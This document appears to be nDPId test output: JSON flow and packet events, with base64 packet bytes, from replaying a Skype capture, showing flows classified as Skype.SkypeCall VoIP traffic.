+00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":603,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.45","src_port":51236,"dst_port":40008,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":603,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":777696,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABATBhAAEAGcsvAqAEib91KLcgknEjYMAm6AAAAALAC\/\/91FQAAAgQFtAEDAwUBAQgKPjHBiQAAAAAEAgAA"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":604,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.171","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":604,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":777888,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5i9YAAEARDTHAqAEinTeCqzLdnEwAJdiNeuEC3c6rdtKsOez6ZXpeJVa7dJ779QK3\/h1JCUU="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":604,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.171","src_port":13021,"dst_port":40012,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":605,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.65","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":605,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":777963,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4dm4AAEARIgTAqAEiQTffQTLdgQkAJKmFeuMCyKqN77xeuXZwH4mCRZ2EnuTirQv1Yiuj0A=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":605,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.65","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":606,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":606,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":777964,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4qTUAAEARhmHAqAEi1cezjDLdnEMAJE+IeuUC57gN1FWjl+cH4OXx7LBzSKM5WN7Ui1CRpw=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":606,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":607,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.39","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":607,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":777990,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAx6cAAEARH9zAqAEinTg0JzLdnF8ALF\/teucC9OsZNQfegPGKe6bjID0chTfhFg98J57+zrR\/SJSxjuh7"} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":607,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.39","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":608,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1431970649778,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.25","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":778021,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+a34AAEARfBXAqAEinTg0GTLdnEoAKvPOeukCU4Ora98LBiEx3upKt3C\/idNCTbgKHnJdEXlx5pIWdA=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":608,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1431970649778,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.25","src_port":13021,"dst_port":40010,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00435{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":834167,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0NmVAAEAGcUDAqAEinTg0HMgdnEkK2QS87hN6BYARECnAggAAAQEICj4xwcBMX+qK"} +00435{"flow_id":22,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":619,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":834168,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0nplAAEAGCQzAqAEinTg0HMggAbskuliR4+mZNYARECzWtAAAAQEICj4xwcBMX+wk"} +00446{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":620,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":858177,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+iadN+uTwKgBIpxByCKHTehVD6e9gKASOJCRTQAAAgQFrAQCCApMYEY4PjHBiQEDAwk="} +00434{"flow_id":59,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":621,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":858300,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA05xhAAEAGCRbAqAEinTfrk8ginEEPp72Ah03oVoAQECzoKAAAAQEICj4xwdhMYEY4"} +00587{"flow_id":59,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":858843,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"0NQSxnP1PBXCt3IOCABFAAChU\/NAAEAGm87AqAEinTfrk8ginEEPp72Ah03oVoAYECxUywAAAQEICj4xwdhMYEY4J6jKR8ohtztSWYkbJTL0mMzNP11mD5qyQGCo36VDw0N8DfacTr\/3DVa7zulZMFssgovAMa7HzM2aw5gpRn8kRbL7cCHeN3y9yjNIGXbv1DXiayARDqcsrfqj+AmmX4QlEtvQAT4X3J0qE6j51g=="} +00446{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":623,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":908631,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGYo1BN98twKgBIpxJyCPPJ6UGmuYcsaASOJBnJAAAAgQFrAQCCApNlOiPPjHBiQEDAwk="} +00434{"flow_id":60,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":624,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":908751,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA05LlAAEAGc9vAqAEiQTffLcgjnEma5hyxzyelB4AQECy9zQAAAQEICj4xwgpNlOiP"} +00521{"flow_id":60,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":625,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":909311,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"0NQSxnP1PBXCt3IOCABFAAByvYVAAEAGmtHAqAEiQTffLcgjnEma5hyxzyelB4AYECye9gAAAQEICj4xwgpNlOiPvo1x4IDNDSI4Pbnv7WR+UQPca8b1BBndRFizKd7SeJyo\/RS9ljml+j6EmvjAGlIq+3Ah3jd8vcozSBl279Q="} +00434{"flow_id":59,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":940120,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0rhtAADYGTBOdN+uTwKgBIpxByCKHTehWD6e97YAQAB33tQAAAQEICkxgRk0+McHY"} +00533{"flow_id":59,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":943560,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"PBXCt3IO0NQSxnP1CABFAAB7rhxAADYGS8udN+uTwKgBIpxByCKHTehWD6e97YAYAB30cQAAAQEICkxgRk4+McHYI8DwW3n4+CnT3eZY7ak09K1n4z8grSkvBgRbrcYV13qdyf5xmnnIUcDAlxIU7vJUvpdcHaqTKHlWT7SVwssAce4HDA3aA9g="} +00434{"flow_id":59,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":628,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":943625,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0cwpAAEAGfSTAqAEinTfrk8ginEEPp73th03onYAQECnnDQAAAQEICj4xwixMYEZO"} +00447{"flow_id":59,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":629,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":944159,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8t3pAAEAGOKzAqAEinTfrk8ginEEPp73th03onYAYECk\/yAAAAQEICj4xwixMYEZOu98xvI+OKgs="} +00433{"flow_id":60,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":630,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":40960,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0TahAADYGFO1BN98twKgBIpxJyCPPJ6UHmuYc74AQAB3NfQAAAQEICk2U6LA+McIK"} +00552{"flow_id":60,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":631,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":43587,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"PBXCt3IO0NQSxnP1CABFAACJTalAADYGFJdBN98twKgBIpxJyCPPJ6UHmuYc74AYAB2tigAAAQEICk2U6LA+McIKRoN4Y+0JD2nToDXTRhW5GM4NirtbeUXxZNVRKfpBa0czN212DpcdTo54ddnTL1nDgovAMa7HzM2aw5gpRn8kRbL7cCHeN3y9yjNIGXbv1DXiayARDg=="} +00433{"flow_id":60,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":43653,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0pkFAAEAGslPAqAEiQTffLcgjnEma5hzvzyelXIAQECm8mAAAAQEICj4xwo5NlOiw"} +00445{"flow_id":60,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":633,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":44218,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8XhpAAEAG+nLAqAEiQTffLcgjnEma5hzvzyelXIAYECkglwAAAQEICj4xwo5NlOiwwc7xhOCNCBA="} +00445{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":73599,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGyOdv3UotwKgBIpxIyCR2KHXg2DAJu6ASOJBnsgAAAgQFrAQCCApNh6w6PjHBiQEDAwk="} +00433{"flow_id":61,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":635,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":73733,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0S0FAAEAGc67AqAEib91KLcgknEjYMAm7dih14YAQECy9uQAAAQEICj4xwqxNh6w6"} +00540{"flow_id":61,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":636,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":74323,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"0NQSxnP1PBXCt3IOCABFAACCPkxAAEAGgFXAqAEib91KLcgknEjYMAm7dih14YAYECwyWQAAAQEICj4xwqxNh6w67vaKznaqN42XYEbJbf0s3f1iTSz6SIJiZzPeudZF2WMskEa23o2BO0i2VcQcFTxEgovAMa7HzM2aw5gpRn8kRbL7cCHeN3y9yjNIGXbv"} +00446{"flow_id":59,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":637,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":346744,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8oGxAAEAGT7rAqAEinTfrk8ginEEPp73th03onYAYECk+OAAAAQEICj4xw7xMYEZOu98xvI+OKgs="} +00434{"flow_id":61,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":638,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":371096,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA02WVAADYG74lv3UotwKgBIpxIyCR2KHXh2DAKCYAQAB3NMAAAAQEICk2HrIQ+McKs"} +00528{"flow_id":61,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":639,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":387251,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"PBXCt3IO0NQSxnP1CABFAAB32WZAADYG70Vv3UotwKgBIpxIyCR2KHXh2DAKCYAYAB2jVgAAAQEICk2HrIg+McKsMV8PKThkbJnnL6ZwlT2wbmrOKnZrWhUMdkmnfFaMIhl9+Grnr1BstwqraO6aWhIIS4DxboeMjVqDWOkGP+QFcrsw4Q=="} +00435{"flow_id":61,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":640,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":387350,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0\/XZAAEAGwXjAqAEib91KLcgknEjYMAoJdih2JIAQECm7pQAAAQEICj4xw+RNh6yI"} +00446{"flow_id":61,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":641,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":387919,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8lg5AAEAGKNnAqAEib91KLcgknEjYMAoJdih2JIAYEClpAAAAAQEICj4xw+RNh6yILYCuK5us2zw="} +00446{"flow_id":60,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":642,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":570011,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8hBhAAEAG1HTAqAEiQTffLcgjnEma5hzvzyelXIAYECkeiwAAAQEICj4xxJpNlOiwwc7xhOCNCBA="} +00690{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":643,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":631191,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtnd9AAEAGoO3AqAEiF84hpsgfAbv4Tz2YGDU8XoAYECzzCAAAAQEICj4xxNfsPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":644,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1431970650785,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.176","src_port":51237,"dst_port":40022,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":644,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":785836,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAQ6lAAEAGFV3AqAEinTeCsMglnFZwrI8vAAAAALAC\/\/\/tTwAAAgQFtAEDAwUBAQgKPjHFcQAAAAAEAgAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":645,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.28","src_port":13021,"dst_port":40014,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970650,"pkt_ts_usec":786156,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ax0AAEARLXbAqAEiQTffHDLdnE4AKA\/ueusCO4\/2IMsd1vZVtYtrG4KJHI0MKaf\/zYcpuYfyCTg="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":645,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.28","src_port":13021,"dst_port":40014,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":646,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.154","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 